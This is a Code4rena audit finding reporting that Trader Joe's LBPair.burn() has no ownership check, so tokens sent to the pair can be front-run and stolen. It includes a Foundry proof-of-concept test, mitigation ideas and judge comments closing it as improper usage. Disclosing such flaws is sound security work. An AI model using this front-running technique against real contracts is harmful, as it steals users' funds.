`LBToken`s sent to the Router by a user attempting a 'manual' `burn()` can be stolen by anyone monitoring the contract's balances or the mempool.

[code423n4]

Lines of code

https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBPair.sol#L616-L675

Vulnerability details

Description

The LBRouter contract provides external functions intended to remove liquidity from the underlying trading pairs via removeLiquity() and removeLiquidityAVAX(). Presumably for integration reasons, the underlying LBPair.burn() function that contains the actual token burn functionality is also marked external with no access controls.

To use it, a user would send LBTokens to the LBPair contract, and then call LBPair.burn(). The transfer is accomplished via either LBToken.safeTransferFrom() or LBToken.safeBatchTransferFrom(), depending on the user's preference/intentions.

However, LBPair.burn() doesn't contain a check to ensure that the caller owns the tokens being burned. It also allows setting the destination of the transfer of the underlying ERC20 tokens to an arbitrary address.

Thus, if the user doesn't submit a batch-style transaction, it is possible for an attacker to submit a valid burn() transaction with their own address in the _to argument.

Alternatively, an attacker or bot could frontrun the call to LBPair.burn() with the same address substitution.

Severity Rationalization

The project is certainly aware of the risks for this function, as they state in comments both in the code and in the contest that LBPair should not be directly interacted with by users.

/// @notice Performs a low level remove, this needs to be called from a contract which performs important safety checks.

That being the case, the warden feels that this should be enforced by the code itself, and not a warning issued to users (via source code comments) who may not understand what "important safety checks" means.

Since this function was likely designed this way to allow for 3rd party integration, it seems like an access control modifier is the best way to allow integration while ensuring safety for users.

Proof of Concept

The test suite already contains a test for burning liquidity without using LBRouter.removeLiquity()/LBRouter.removeLiquidityAVAX(), LiquidityBinPairLiquidityTest.testBurnLiquidity() . It can be modified to the below version to demonstrate that any user can call burn(). The test will fail due to the assertEq, showing that BOB did not receive the tokens.

function testBurnLiquidity() public {
    pair = createLBPairDefaultFees(token6D, token18D);
    uint256 amount1In = 3e12;
    (
        uint256[] memory _ids,
        uint256[] memory _distributionX,
        uint256[] memory _distributionY,
        uint256 amount0In
    ) = spreadLiquidity(amount1In * 2, ID_ONE, 5, 0);

    // Modified the below mint lines to set up a situation where ALICE has no tokens
    // token6D.mint(address(pair), amount0In);
    // token18D.mint(address(pair), amount1In);

    // pair.mint(_ids, _distributionX, _distributionY, ALICE);

    token6D.mint(address(pair), amount0In);
    token18D.mint(address(pair), amount1In);

    pair.mint(_ids, _distributionX, _distributionY, BOB);

    uint256[] memory amounts = new uint256[](5);
    for (uint256 i; i < 5; i++) {
        amounts[i] = pair.balanceOf(BOB, _ids[i]);
    }

    // Simulate BOB sending his tokens to the Pair contract, in preparation for a burn.
    vm.startPrank(BOB);
    pair.safeBatchTransferFrom(BOB, address(pair), _ids, amounts);
    vm.stopPrank();

    // Simulate ALICE noticing the transaction, and calling burn on her own, with BOB's
    // token burn parameters but her own address as the ERC20 recipient.
    // collectFees call is safe but omitted here.
    vm.startPrank(ALICE);
    pair.burn(_ids, amounts, ALICE);
    //pair.collectFees(BOB, _ids); // the excess token were sent to fees, so they need to be claimed
    vm.stopPrank();

    assertEq(token6D.balanceOf(BOB), amount0In);
    assertEq(token18D.balanceOf(BOB), amount1In);
}

Mitigation

First, consider carefully the business case of allowing arbitrary callers to directly interact with this function. A contract access control list could be implemented, so that some security assumptions about the value of _to and the caller could be made.

Alternatively, there are various helper contracts that provide functions to determine if the caller is an EOA. If a whitelist is seen as undesirable because it would be an administrative burden or is seen as a decentralization risk, an EOA/contract existence check seems like a valid way to address that concern, while significantly raising the bar required for a user to footgun themselves.

Tooling - Foundry, Manual review

[trust1995]

The contract assumes you use the API correctly, through a router or that you know what you are doing.

[GalloDaSballo]

Looks off as requires code to be used improperly

[GalloDaSballo]

And Readme explicitly states basic assumptions

[GalloDaSballo]

Closing as improper usage from docs